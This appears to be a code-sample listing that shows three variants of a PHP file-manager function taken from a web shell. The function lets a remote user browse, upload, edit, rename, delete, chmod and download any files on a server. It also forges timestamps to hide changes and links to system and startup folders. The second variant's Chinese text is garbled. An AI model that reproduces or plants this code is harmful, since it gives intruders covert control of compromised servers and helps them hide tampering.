function File_a($p)
{
    if (!$_SERVER['SERVER_NAME']) {
        $GETURL = '';
    } else {
        $GETURL = 'http://' . $_SERVER['SERVER_NAME'] . '/';
    }
    $MSG_BOX = '等待消息队列';
    $UP_DIR = urlencode(File_Str($p . '/..'));
    $REAL_DIR = File_Str(realpath($p));
    $FILE_DIR = File_Str(dirname(__FILE__));
    $ROOT_DIR = File_Mode();
    $THIS_DIR = urlencode(File_Str($REAL_DIR));
    $NUM_D = 0;
    $NUM_F = 0;
    if (!empty($_POST['pfn'])) {
        $intime = @strtotime($_POST['mtime']);
        $MSG_BOX = File_Write($_POST['pfn'], $_POST['pfc'], 'wb') ? '编辑文件 ' . $_POST['pfn'] . ' 成功' : '编辑文件 ' . $_POST['pfn'] . ' 失败';
        @touch($_POST['pfn'], $intime);
    }
    if (!empty($_FILES['ufp']['name'])) {
        if ($_POST['ufn'] != '') {
            $upfilename = $_POST['ufn'];
        } else {
            $upfilename = $_FILES['ufp']['name'];
        }
        $MSG_BOX = File_Up($_FILES['ufp']['tmp_name'], File_Str($REAL_DIR . '/' . $upfilename)) ? '上传文件 ' . $upfilename . ' 成功' : '上传文件 ' . $upfilename . ' 失败';
    }
    if (!empty($_POST['actall'])) {
        $MSG_BOX = File_Act($_POST['files'], $_POST['actall'], $_POST['inver']);
    }
    if (isset($_GET['md'])) {
        $modfile = File_Str($REAL_DIR . '/' . $_GET['mk']);
        if (!eregi("^[0-7]{4}\$", $_GET['md'])) {
            $MSG_BOX = '属性值错误';
        } else {
            $MSG_BOX = @chmod($modfile, base_convert($_GET['md'], 8, 10)) ? '修改 ' . $modfile . ' 属性为 ' . $_GET['md'] . ' 成功' : '修改 ' . $modfile . ' 属性为 ' . $_GET['md'] . ' 失败';
        }
    }
    if (isset($_GET['mn'])) {
        $MSG_BOX = @rename(File_Str($REAL_DIR . '/' . $_GET['mn']), File_Str($REAL_DIR . '/' . $_GET['rn'])) ? '改名 ' . $_GET['mn'] . ' 为 ' . $_GET['rn'] . ' 成功' : '改名 ' . $_GET['mn'] . ' 为 ' . $_GET['rn'] . ' 失败';
    }
    if (isset($_GET['dn'])) {
        $MSG_BOX = @mkdir(File_Str($REAL_DIR . '/' . $_GET['dn']), 0777) ? '创建目录 ' . $_GET['dn'] . ' 成功' : '创建目录 ' . $_GET['dn'] . ' 失败';
    }
    if (isset($_GET['dd'])) {
        $MSG_BOX = File_Deltree($_GET['dd']) ? '删除目录 ' . $_GET['dd'] . ' 成功' : '删除目录 ' . $_GET['dd'] . ' 失败';
    }
    if (isset($_GET['df'])) {
        if (!File_Down($_GET['df'])) {
            $MSG_BOX = '下载文件不存在';
        }
    }
    Root_CSS();
    print <<<END
<script type="text/javascript">
\tfunction Inputok(msg,gourl)
\t{
\t\tsmsg = "当前文件:[" + msg + "]";
\t\tre = prompt(smsg,unescape(msg));
\t\tif(re)
\t\t{
\t\t\tvar url = gourl + escape(re);
\t\t\twindow.location = url;
\t\t}
\t}
\tfunction Delok(msg,gourl)
\t{
\t\tsmsg = "确定要删除[" + unescape(msg) + "]吗?";
\t\tif(confirm(smsg))
\t\t{
\t\t\tif(gourl == 'b')
\t\t\t{
\t\t\t\tdocument.getElementById('actall').value = escape(gourl);
\t\t\t\tdocument.getElementById('fileall').submit();
\t\t\t}
\t\t\telse window.location = gourl;
\t\t}
\t}
\tfunction CheckDate(msg,gourl)
\t{
\t\tsmsg = "当前文件时间:[" + msg + "]";
\t\tre = prompt(smsg,msg);
\t\tif(re)
\t\t{
\t\t\tvar url = gourl + re;
\t\t\tvar reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})\$/; 
\t\t\tvar r = re.match(reg);
\t\t\tif(r==null){alert('日期格式不正确!格式:yyyy-mm-dd hh:mm:ss');return false;}
\t\t\telse{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();}
\t\t}
\t}
\tfunction CheckAll(form)
\t{
\t\tfor(var i=0;i<form.elements.length;i++)
\t\t{
\t\t\tvar e = form.elements[i];
\t\t\tif (e.name != 'chkall')
\t\t\te.checked = form.chkall.checked;
\t\t}
\t}
\tfunction SubmitUrl(msg,txt,actid)
\t{
\t\tre = prompt(msg,unescape(txt));
\t\tif(re)
\t\t{
\t\t\tdocument.getElementById('actall').value = actid;
\t\t\tdocument.getElementById('inver').value = escape(re);
\t\t\tdocument.getElementById('fileall').submit();
\t\t}
\t}
</script>
\t<div id="msgbox" class="msgbox">{$MSG_BOX}</div>
\t<div class="actall" style="text-align:center;padding:3px;">
\t<form method="GET"><input type="hidden" id="s" name="s" value="a">
\t<input type="text" name="p" value="{$REAL_DIR}" style="width:550px;height:22px;">
\t<select onchange="location.href='?s=a&p='+options[selectedIndex].value">
\t<option>---特殊目录---</option>
\t<option value="{$ROOT_DIR}"> 网站根目录 </option>
\t<option value="{$FILE_DIR}"> 本程序目录 </option>
\t<option value="C:/Documents and Settings/All Users/「开始」菜单/程序/启动"> 所有组启动项 </option>
\t<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup"> 英文启动项 </option>
\t<option value="C:/RECYCLER"> 回收站 </option>
\t<option value="C:/Program Files"> Programs </option>
\t</select> <input type="submit" value="转到" style="width:50px;"></form>
\t<div style="margin-top:3px;"></div>
\t<form method="POST" action="?s=a&p={$THIS_DIR}" enctype="multipart/form-data">
\t<input type="button" value="新建文件" onclick="Inputok('newfile.php','?s=p&fp={$THIS_DIR}&fn=');">
\t<input type="button" value="新建目录" onclick="Inputok('newdir','?s=a&p={$THIS_DIR}&dn=');"> 
\t<input type="button" value="批量上传" onclick="window.location='?s=q&p={$REAL_DIR}';"> 
\t<input type="file" name="ufp" style="width:300px;height:22px;">
\t<input type="text" name="ufn" style="width:121px;height:22px;">
\t<input type="submit" value="上传" style="width:50px;">
\t</form>
\t</div>
\t<form method="POST" name="fileall" id="fileall" action="?s=a&p={$THIS_DIR}">
\t<table border="0"><tr>
\t<td class="toptd" style="width:450px;"> <a href="?s=a&p={$UP_DIR}"><b>上级目录</b></a> </td>
\t<td class="toptd" style="width:80px;"> 操作 </td>
\t<td class="toptd" style="width:48px;"> 属性 </td>
\t<td class="toptd" style="width:173px;"> 修改时间 </td>
\t<td class="toptd" style="width:75px;"> 大小 </td></tr>
END;
    if (($h_d = @opendir($p)) == NULL) {
        return false;
    }
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' or $Filename == '..') {
            continue;
        }
        $Filepath = File_Str($REAL_DIR . '/' . $Filename);
        if (is_dir($Filepath)) {
            $Fileperm = substr(base_convert(@fileperms($Filepath), 10, 8), -4);
            $Filetime = @date('Y-m-d H:i:s', @filemtime($Filepath));
            $Filepath = urlencode($Filepath);
            echo "\r\n" . ' <tr><td> <a href="?s=a&p=' . $Filepath . '"><font face="wingdings" size="3">0</font><b> ' . $Filename . ' </b></a> </td> ';
            $Filename = urlencode($Filename);
            echo ' <td> <a href="#" onclick="Delok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&dd=' . $Filename . '\');return false;"> 删除 </a> ';
            echo ' <a href="#" onclick="Inputok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&mn=' . $Filename . '&rn=\');return false;"> 改名 </a> </td> ';
            echo ' <td> <a href="#" onclick="Inputok(\'' . $Fileperm . '\',\'?s=a&p=' . $THIS_DIR . '&mk=' . $Filename . '&md=\');return false;"> ' . $Fileperm . ' </a> </td> ';
            echo ' <td>' . $Filetime . '</td> ';
            echo ' <td> </td> </tr>' . "\r\n";
            $NUM_D++;
        }
    }
    @rewinddir($h_d);
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' or $Filename == '..') {
            continue;
        }
        $Filepath = File_Str($REAL_DIR . '/' . $Filename);
        if (!is_dir($Filepath)) {
            $Fileurls = str_replace(File_Str($ROOT_DIR . '/'), $GETURL, $Filepath);
            $Fileperm = substr(base_convert(@fileperms($Filepath), 10, 8), -4);
            $Filetime = @date('Y-m-d H:i:s', @filemtime($Filepath));
            $Filesize = File_Size(@filesize($Filepath));
            if ($Filepath == File_Str(__FILE__)) {
                $fname = '<font color="#8B0000">' . $Filename . '</font>';
            } else {
                $fname = $Filename;
            }
            echo "\r\n" . ' <tr><td> <input type="checkbox" name="files[]" value="' . urlencode($Filepath) . '"><a target="_blank" href="' . $Fileurls . '">' . $fname . '</a> </td>';
            $Filepath = urlencode($Filepath);
            $Filename = urlencode($Filename);
            echo ' <td> <a href="?s=p&fp=' . $THIS_DIR . '&fn=' . $Filename . '"> 编辑 </a> ';
            echo ' <a href="#" onclick="Inputok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&mn=' . $Filename . '&rn=\');return false;"> 改名 </a> </td>';
            echo ' <td>' . $Fileperm . '</td> ';
            echo ' <td>' . $Filetime . '</td> ';
            echo ' <td align="right"> <a href="?s=a&df=' . $Filepath . '">' . $Filesize . '</a> </td></tr> ' . "\r\n";
            $NUM_F++;
        }
    }
    @closedir($h_d);
    if (!$Filetime) {
        $Filetime = '2009-01-01 00:00:00';
    }
    print <<<END
</table>
<div class="actall"> <input type="hidden" id="actall" name="actall" value="undefined"> 
<input type="hidden" id="inver" name="inver" value="undefined"> 
<input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form);"> 
<input type="button" value="复制" onclick="SubmitUrl('复制所选文件到路径: ','{$THIS_DIR}','a');return false;"> 
<input type="button" value="删除" onclick="Delok('所选文件','b');return false;"> 
<input type="button" value="属性" onclick="SubmitUrl('修改所选文件属性值为: ','0666','c');return false;"> 
<input type="button" value="时间" onclick="CheckDate('{$Filetime}','d');return false;"> 
<input type="button" value="打包" onclick="SubmitUrl('打包并下载所选文件下载名为: ','spider.tar.gz','e');return false;"> 
目录({$NUM_D}) / 文件({$NUM_F})</div> 
</form> 
END;
    return true;
}
Ejemplo n.º 2
0
function File_a($p)
{
    if (!$_SERVER['SERVER_NAME']) {
        $GETURL = '';
    } else {
        $GETURL = 'http://' . $_SERVER['SERVER_NAME'] . '/';
    }
    $MSG_BOX = '�ȴ���Ϣ����';
    $UP_DIR = urlencode(File_Str($p . '/..'));
    $REAL_DIR = File_Str(realpath($p));
    $FILE_DIR = File_Str(dirname(__FILE__));
    $ROOT_DIR = File_Mode();
    $THIS_DIR = urlencode(File_Str($REAL_DIR));
    $NUM_D = 0;
    $NUM_F = 0;
    if (!empty($_POST['pfn'])) {
        $intime = @strtotime($_POST['mtime']);
        $MSG_BOX = File_Write($_POST['pfn'], $_POST['pfc'], 'wb') ? '�༭�ļ� ' . $_POST['pfn'] . ' �ɹ�' : '�༭�ļ� ' . $_POST['pfn'] . ' ʧ��';
        @touch($_POST['pfn'], $intime);
    }
    if (!empty($_FILES['ufp']['name'])) {
        if ($_POST['ufn'] != '') {
            $upfilename = $_POST['ufn'];
        } else {
            $upfilename = $_FILES['ufp']['name'];
        }
        $MSG_BOX = File_Up($_FILES['ufp']['tmp_name'], File_Str($REAL_DIR . '/' . $upfilename)) ? '�ϴ��ļ� ' . $upfilename . ' �ɹ�' : '�ϴ��ļ� ' . $upfilename . ' ʧ��';
    }
    if (!empty($_POST['actall'])) {
        $MSG_BOX = File_Act($_POST['files'], $_POST['actall'], $_POST['inver']);
    }
    if (isset($_GET['md'])) {
        $modfile = File_Str($REAL_DIR . '/' . $_GET['mk']);
        if (!eregi("^[0-7]{4}\$", $_GET['md'])) {
            $MSG_BOX = '����ֵ����';
        } else {
            $MSG_BOX = @chmod($modfile, base_convert($_GET['md'], 8, 10)) ? '�޸� ' . $modfile . ' ����Ϊ ' . $_GET['md'] . ' �ɹ�' : '�޸� ' . $modfile . ' ����Ϊ ' . $_GET['md'] . ' ʧ��';
        }
    }
    if (isset($_GET['mn'])) {
        $MSG_BOX = @rename(File_Str($REAL_DIR . '/' . $_GET['mn']), File_Str($REAL_DIR . '/' . $_GET['rn'])) ? '���� ' . $_GET['mn'] . ' Ϊ ' . $_GET['rn'] . ' �ɹ�' : '���� ' . $_GET['mn'] . ' Ϊ ' . $_GET['rn'] . ' ʧ��';
    }
    if (isset($_GET['dn'])) {
        $MSG_BOX = @mkdir(File_Str($REAL_DIR . '/' . $_GET['dn']), 0777) ? '����Ŀ¼ ' . $_GET['dn'] . ' �ɹ�' : '����Ŀ¼ ' . $_GET['dn'] . ' ʧ��';
    }
    if (isset($_GET['dd'])) {
        $MSG_BOX = File_Deltree($_GET['dd']) ? 'ɾ��Ŀ¼ ' . $_GET['dd'] . ' �ɹ�' : 'ɾ��Ŀ¼ ' . $_GET['dd'] . ' ʧ��';
    }
    if (isset($_GET['df'])) {
        if (!File_Down($_GET['df'])) {
            $MSG_BOX = '�����ļ�������';
        }
    }
    Root_CSS();
    print <<<END
<script type="text/javascript">
\tfunction Inputok(msg,gourl)
\t{
\t\tsmsg = "��ǰ�ļ�:[" + msg + "]";
\t\tre = prompt(smsg,unescape(msg));
\t\tif(re)
\t\t{
\t\t\tvar url = gourl + escape(re);
\t\t\twindow.location = url;
\t\t}
\t}
\tfunction Delok(msg,gourl)
\t{
\t\tsmsg = "ȷ��Ҫɾ��[" + unescape(msg) + "]��?";
\t\tif(confirm(smsg))
\t\t{
\t\t\tif(gourl == 'b')
\t\t\t{
\t\t\t\tdocument.getElementById('actall').value = escape(gourl);
\t\t\t\tdocument.getElementById('fileall').submit();
\t\t\t}
\t\t\telse window.location = gourl;
\t\t}
\t}
\tfunction CheckDate(msg,gourl)
\t{
\t\tsmsg = "��ǰ�ļ�ʱ��:[" + msg + "]";
\t\tre = prompt(smsg,msg);
\t\tif(re)
\t\t{
\t\t\tvar url = gourl + re;
\t\t\tvar reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})\$/;
\t\t\tvar r = re.match(reg);
\t\t\tif(r==null){alert('���ڸ�ʽ����ȷ!��ʽ:yyyy-mm-dd hh:mm:ss');return false;}
\t\t\telse{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();}
\t\t}
\t}
\tfunction CheckAll(form)
\t{
\t\tfor(var i=0;i<form.elements.length;i++)
\t\t{
\t\t\tvar e = form.elements[i];
\t\t\tif (e.name != 'chkall')
\t\t\te.checked = form.chkall.checked;
\t\t}
\t}
\tfunction SubmitUrl(msg,txt,actid)
\t{
\t\tre = prompt(msg,unescape(txt));
\t\tif(re)
\t\t{
\t\t\tdocument.getElementById('actall').value = actid;
\t\t\tdocument.getElementById('inver').value = escape(re);
\t\t\tdocument.getElementById('fileall').submit();
\t\t}
\t}
</script>
<div id="msgbox" class="msgbox">{$MSG_BOX}</div>
<div class="actall" style="text-align:center;padding:3px;">
<form method="GET"><input type="hidden" id="s" name="s" value="a">
<input type="text" name="p" value="{$REAL_DIR}" style="width:550px;height:22px;">
<select onchange="location.href='?s=a&p='+options[selectedIndex].value">
\t<option>---����Ŀ¼---</option>
\t<option value="{$ROOT_DIR}">��վ��Ŀ¼</option>
\t<option value="{$FILE_DIR}">������Ŀ¼</option>
\t<option value="C:/">C��</option>
\t<option value="D:/">D��</option>
\t<option value="E:/">E��</option>
\t<option value="F:/">F��</option>
\t<option value="C:/Documents and Settings/All Users/����ʼ���˵�/����/����">������</option>
\t<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup">������(Ӣ)</option>
\t<option value="C:/RECYCLER">����վ</option>
\t<option value="C:/Program Files">Programs</option>
\t<option value="/etc">etc</option>
\t<option value="/home">home</option>
\t<option value="/usr/local">Local</option>
\t<option value="/tmp">Temp</option>
</select><input type="submit" value="ת��" style="width:50px;"></form>
<div style="margin-top:3px;"></div>
<form method="POST" action="?s=a&p={$THIS_DIR}" enctype="multipart/form-data">
\t<input type="button" value="�½��ļ�" onclick="Inputok('newfile.php','?s=p&fp={$THIS_DIR}&fn=');">
\t<input type="button" value="�½�Ŀ¼" onclick="Inputok('newdir','?s=a&p={$THIS_DIR}&dn=');">
\t<input type="button" value="�����ϴ�" onclick="window.location='?s=q&p={$REAL_DIR}';">
\t<input type="file" name="ufp" style="width:300px;height:22px;">
\t<input type="text" name="ufn" style="width:121px;height:22px;">
\t<input type="submit" value="�ϴ�" style="width:50px;">
</form></div>
<form method="POST" name="fileall" id="fileall" action="?s=a&p={$THIS_DIR}">
<table border="0"><tr><td class="toptd" style="width:450px;"> <a href="?s=a&p={$UP_DIR}"><b>�ϼ�Ŀ¼</b></a></td>
<td class="toptd" style="width:80px;"> ���� </td><td class="toptd" style="width:48px;"> ���� </td><td class="toptd" style="width:173px;"> �޸�ʱ�� </td><td class="toptd" style="width:75px;"> ��С </td></tr>
END;
    if (($h_d = @opendir($p)) == NULL) {
        return false;
    }
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' or $Filename == '..') {
            continue;
        }
        $Filepath = File_Str($REAL_DIR . '/' . $Filename);
        if (is_dir($Filepath)) {
            $Fileperm = substr(base_convert(@fileperms($Filepath), 10, 8), -4);
            $Filetime = @date('Y-m-d H:i:s', @filemtime($Filepath));
            $Filepath = urlencode($Filepath);
            echo "\r\n" . ' <tr><td> <a href="?s=a&p=' . $Filepath . '"><font face="wingdings" size="3">0</font><b> ' . $Filename . ' </b></a> </td> ';
            $Filename = urlencode($Filename);
            echo ' <td> <a href="#" onclick="Delok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&dd=' . $Filename . '\');return false;"> ɾ�� </a> ';
            echo ' <a href="#" onclick="Inputok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&mn=' . $Filename . '&rn=\');return false;"> ���� </a> </td> ';
            echo ' <td> <a href="#" onclick="Inputok(\'' . $Fileperm . '\',\'?s=a&p=' . $THIS_DIR . '&mk=' . $Filename . '&md=\');return false;"> ' . $Fileperm . ' </a> </td> ';
            echo ' <td>' . $Filetime . '</td> ';
            echo ' <td> </td> </tr>' . "\r\n";
            $NUM_D++;
        }
    }
    @rewinddir($h_d);
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' or $Filename == '..') {
            continue;
        }
        $Filepath = File_Str($REAL_DIR . '/' . $Filename);
        if (!is_dir($Filepath)) {
            $Fileurls = str_replace(File_Str($ROOT_DIR . '/'), $GETURL, $Filepath);
            $Fileperm = substr(base_convert(@fileperms($Filepath), 10, 8), -4);
            $Filetime = @date('Y-m-d H:i:s', @filemtime($Filepath));
            $Filesize = File_Size(@filesize($Filepath));
            if ($Filepath == File_Str(__FILE__)) {
                $fname = '<font color="#8B0000">' . $Filename . '</font>';
            } else {
                $fname = $Filename;
            }
            echo "\r\n" . ' <tr><td> <input type="checkbox" name="files[]" value="' . urlencode($Filepath) . '"><a target="_blank" href="' . $Fileurls . '">' . $fname . '</a> </td>';
            $Filepath = urlencode($Filepath);
            $Filename = urlencode($Filename);
            echo ' <td> <a href="?s=p&fp=' . $THIS_DIR . '&fn=' . $Filename . '"> �༭ </a> ';
            echo ' <a href="#" onclick="Inputok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&mn=' . $Filename . '&rn=\');return false;"> ���� </a> </td>';
            echo ' <td>' . $Fileperm . '</td> ';
            echo ' <td>' . $Filetime . '</td> ';
            echo ' <td align="right"> <a href="?s=a&df=' . $Filepath . '">' . $Filesize . '</a> </td></tr> ' . "\r\n";
            $NUM_F++;
        }
    }
    @closedir($h_d);
    if (!$Filetime) {
        $Filetime = '2009-01-01 00:00:00';
    }
    print <<<END
</table>
<div class="actall"> <input type="hidden" id="actall" name="actall" value="undefined">
<input type="hidden" id="inver" name="inver" value="undefined">
<input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form);">
<input type="button" value="����" onclick="SubmitUrl('������ѡ�ļ���·��: ','{$THIS_DIR}','a');return false;">
<input type="button" value="ɾ��" onclick="Delok('��ѡ�ļ�','b');return false;">
<input type="button" value="����" onclick="SubmitUrl('�޸���ѡ�ļ�����ֵΪ: ','0666','c');return false;">
<input type="button" value="ʱ��" onclick="CheckDate('{$Filetime}','d');return false;">
<input type="button" value="����" onclick="SubmitUrl('������������ѡ�ļ�������Ϊ: ','silic.gz','e');return false;">
Ŀ¼({$NUM_D}) / �ļ�({$NUM_F})</div> </form>
END;
    return true;
}
Ejemplo n.º 3
0
function File_a($p)
{
    $MSG_BOX = 'waiting for message queue......';
    if (!$_SERVER['SERVER_NAME']) {
        $GETURL = '';
    } else {
        $GETURL = 'http://' . $_SERVER['SERVER_NAME'] . '/';
    }
    $UP_DIR = urlencode(File_Str($p . '/..'));
    $REAL_DIR = File_Str(realpath($p));
    $FILE_DIR = File_Str(dirname(__FILE__));
    $ROOT_DIR = File_Mode();
    $THIS_DIR = urlencode(File_Str($p));
    $UP_DIR = urlencode(File_Str(dirname($p)));
    $NUM_D = 0;
    $NUM_F = 0;
    if (!empty($_POST['pfn'])) {
        $intime = @strtotime($_POST['mtime']);
        $MSG_BOX = File_Write($_POST['pfn'], $_POST['pfc'], 'wb') ? 'edit file ' . $_POST['pfn'] . ' success' : 'edit file ' . $_POST['pfn'] . ' faild';
        @touch($_POST['pfn'], $intime);
    }
    if (!empty($_POST['ufs'])) {
        if ($_POST['ufn'] != '') {
            $upfilename = $_POST['ufn'];
        } else {
            $upfilename = $_FILES['ufp']['name'];
        }
        $MSG_BOX = File_Up($_FILES['ufp']['tmp_name'], File_Str($p . '/' . $upfilename)) ? 'upfile ' . $upfilename . ' success' : 'upfile ' . $upfilename . ' 失败';
    }
    if (!empty($_POST['actall'])) {
        $MSG_BOX = File_Act($_POST['files'], $_POST['actall'], $_POST['inver']);
    }
    if (!empty($_GET['mn'])) {
        $MSG_BOX = @rename(File_Str($p . '/' . $_GET['mn']), File_Str($p . '/' . $_GET['rn'])) ? 'rename ' . $_GET['mn'] . ' to ' . $_GET['rn'] . ' success' : 'rename ' . $_GET['mn'] . ' to ' . $_GET['rn'] . ' faild';
    }
    if (!empty($_GET['dn'])) {
        $MSG_BOX = @mkdir(File_Str($p . '/' . $_GET['dn']), 0777) ? 'create folder ' . $_GET['dn'] . ' success' : 'create folder ' . $_GET['dn'] . ' faild';
    }
    if (!empty($_GET['dd'])) {
        $MSG_BOX = File_Deltree($_GET['dd']) ? 'del folder ' . $_GET['dd'] . ' success' : 'del folder ' . $_GET['dd'] . ' faild';
    }
    if (!empty($_GET['df'])) {
        if (!File_Down($_GET['df'])) {
            $MSG_BOX = 'the download file does not exists';
        }
    }
    Root_CSS();
    print <<<END
<script type="text/javascript">
\tfunction Inputok(msg,gourl)
\t{
\t\tsmsg = "current file:[" + msg + "]";
\t\tre = prompt(smsg,unescape(msg));
\t\tif(re)
\t\t{
\t\t\tvar url = gourl + escape(re);
\t\t\twindow.location = url;
\t\t}
\t}
\tfunction Delok(msg,gourl)
\t{
\t\tsmsg = "sure for del [" + unescape(msg) + "] ?";
\t\tif(confirm(smsg))
\t\t{
\t\t\tif(gourl == 'b'){document.getElementById('actall').value = escape(gourl);document.getElementById('fileall').submit();}
\t\t\telse window.location = gourl;
\t\t}
\t}
\tfunction CheckDate(msg,gourl)
\t{
\t\tsmsg = "current file time:[" + msg + "]";
\t\tre = prompt(smsg,msg);
\t\tif(re)
\t\t{
\t\t\tvar url = gourl + re;
\t\t\tvar reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})\$/; 
\t\t\tvar r = re.match(reg);
\t\t\tif(r==null){alert('time error!format:yyyy-mm-dd hh:mm:ss');return false;}
\t\t\telse{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();}
\t\t}
\t}
\tfunction CheckAll(form)
\t{
\t\tfor(var i=0;i<form.elements.length;i++)
\t\t{
\t\t\tvar e = form.elements[i];
\t\t\tif (e.name != 'chkall')
\t\t\te.checked = form.chkall.checked;
\t\t}
\t}
\tfunction SubmitUrl(msg,txt,actid)
\t{
\t\tre = prompt(msg,unescape(txt));
\t\tif(re)
\t\t{
\t\t\tdocument.getElementById('actall').value = actid;
\t\t\tdocument.getElementById('inver').value = escape(re);
\t\t\tdocument.getElementById('fileall').submit();
\t\t}
\t}
</script>
\t<div id="msgbox" class="msgbox">{$MSG_BOX}</div>
\t<div class="actall" style="text-align:center;padding:3px;">
\t<form method="GET"><input type="hidden" name="s" value="a">
\t<input type="text" name="p" value="{$p}" style="width:50%;height:22px;">
\t<select onchange="location.href='?s=a&p='+options[selectedIndex].value">
\t<option>---some folder---</option>
\t<option value="{$ROOT_DIR}"> site root folder </option>
\t<option value="{$FILE_DIR}"> current folder </option>
\t<option value="C:/Documents and Settings/All Users/「开始」菜单/程序/启动"> start item (cn) </option>
\t<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup"> start item (en) </option>
\t<option value="C:/RECYCLER"> RECYCLER </option>
\t<option value="C:/Program Files"> Program Files </option>
\t</select> <input class="bt" type="submit" value="jump"></form>
\t<div style="margin-top:3px;"></div>
\t<form method="POST" action="?s=a&p={$THIS_DIR}" enctype="multipart/form-data">
\t<input class="bt" type="button" value="Create File" onclick="Inputok('newfile.php','?s=p&fp={$THIS_DIR}&fn=');">
\t<input class="bt" type="button" value="Create Folder" onclick="Inputok('newdir','?s=a&p={$THIS_DIR}&dn=');"> 
\t<input type="file" name="ufp" style="width:30%;height:22px;">
\t<input type="text" name="ufn" style="width:20%;height:22px;">
\t<input class="bt" type="submit" name="ufs" value="upfile">
\t</form>
\t</div>
\t<form method="POST" id="fileall" action="?s=a&p={$THIS_DIR}">
\t<table border="0"><tr>
\t<td class="toptd" style="width:810px;"> <a href="?s=a&p={$UP_DIR}"><b>parent directory</b></a> </td>
\t<td class="toptd" style="width:100px;"> opertion </td>
\t<td class="toptd" style="width:60px;"> attr </td>
\t<td class="toptd" style="width:200px;"> time </td>
\t<td class="toptd" style="width:100px;"> size </td></tr>
END;
    if (($h_d = @opendir($p)) == NULL) {
        return false;
    }
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' or $Filename == '..') {
            continue;
        }
        $Filepath = File_Str($p . '/' . $Filename);
        if (is_dir($Filepath)) {
            $Fileperm = substr(base_convert(@fileperms($Filepath), 10, 8), -4);
            $Filetime = @date('Y-m-d H:i:s', @filemtime($Filepath));
            $Filepath = urlencode($Filepath);
            echo "\n" . '<tr><td><a href="?s=a&p=' . $Filepath . '"><font face="wingdings" size="3">0</font><b>' . $Filename . '</b></a></td>';
            $Filename = urlencode($Filename);
            echo '<td><a href="#" onclick="Delok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&dd=' . $Filename . '\');return false;">Del</a> ';
            echo '<a href="#" onclick="Inputok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&mn=' . $Filename . '&rn=\');return false;">Rename</a></td>';
            echo '<td><a href="#" onclick="Inputok(\'' . $Fileperm . '\',\'?s=a&p=' . $THIS_DIR . '&mk=' . $Filename . '&md=\');return false;">' . $Fileperm . '</a></td>';
            echo '<td>' . $Filetime . '</td> ';
            echo '<td> </td></tr>' . "\n";
            $NUM_D++;
        }
    }
    @rewinddir($h_d);
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' or $Filename == '..') {
            continue;
        }
        $Filepath = File_Str($REAL_DIR . '/' . $Filename);
        if (!is_dir($Filepath)) {
            $Fileurls = str_replace(File_Str($ROOT_DIR . '/'), $GETURL, $Filepath);
            $Fileperm = substr(base_convert(@fileperms($Filepath), 10, 8), -4);
            $Filetime = @date('Y-m-d H:i:s', @filemtime($Filepath));
            $Filesize = File_Size(@filesize($Filepath));
            if ($Filepath == File_Str(__FILE__)) {
                $fname = '<font color="#FF0000">' . $Filename . '</font>';
            } else {
                $fname = $Filename;
            }
            echo "\r\n" . ' <tr><td> <input type="checkbox" name="files[]" value="' . urlencode($Filepath) . '"><a target="_blank" href="' . $Fileurls . '">' . $fname . '</a> </td>';
            $Filepath = urlencode($Filepath);
            $Filename = urlencode($Filename);
            echo ' <td> <a href="?s=p&fp=' . $THIS_DIR . '&fn=' . $Filename . '"> Edit </a> ';
            echo ' <a href="#" onclick="Inputok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&mn=' . $Filename . '&rn=\');return false;"> Rename </a> </td>';
            echo ' <td>' . $Fileperm . '</td> ';
            echo ' <td>' . $Filetime . '</td> ';
            echo ' <td align="right"> <a href="?s=a&df=' . $Filepath . '">' . $Filesize . '</a> </td></tr> ' . "\r\n";
            $NUM_F++;
        }
    }
    @closedir($h_d);
    print <<<END
</table>
<div class="actall"><input type="hidden" name="actall" value="undefined">
<input type="hidden" name="inver" value="undefined">
<input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form);"> 
<input class="bt" type="button" value="Copy" onclick="SubmitUrl('copy selected files to folder: ','{$THIS_DIR}','a');return false;"> 
<input class="bt" type="button" value="Del" onclick="Delok('selected files','b');return false;"> 
<input class="bt" type="button" value="Attr" onclick="SubmitUrl('change selected files attr value: ','0666','c');return false;"> 
<input class="bt" type="button" value="Time" onclick="CheckDate('2010-04-21 17:31:20','d');return false;"> 
folders({$NUM_D}) / files({$NUM_F})</div>
</form>
END;
    return true;
}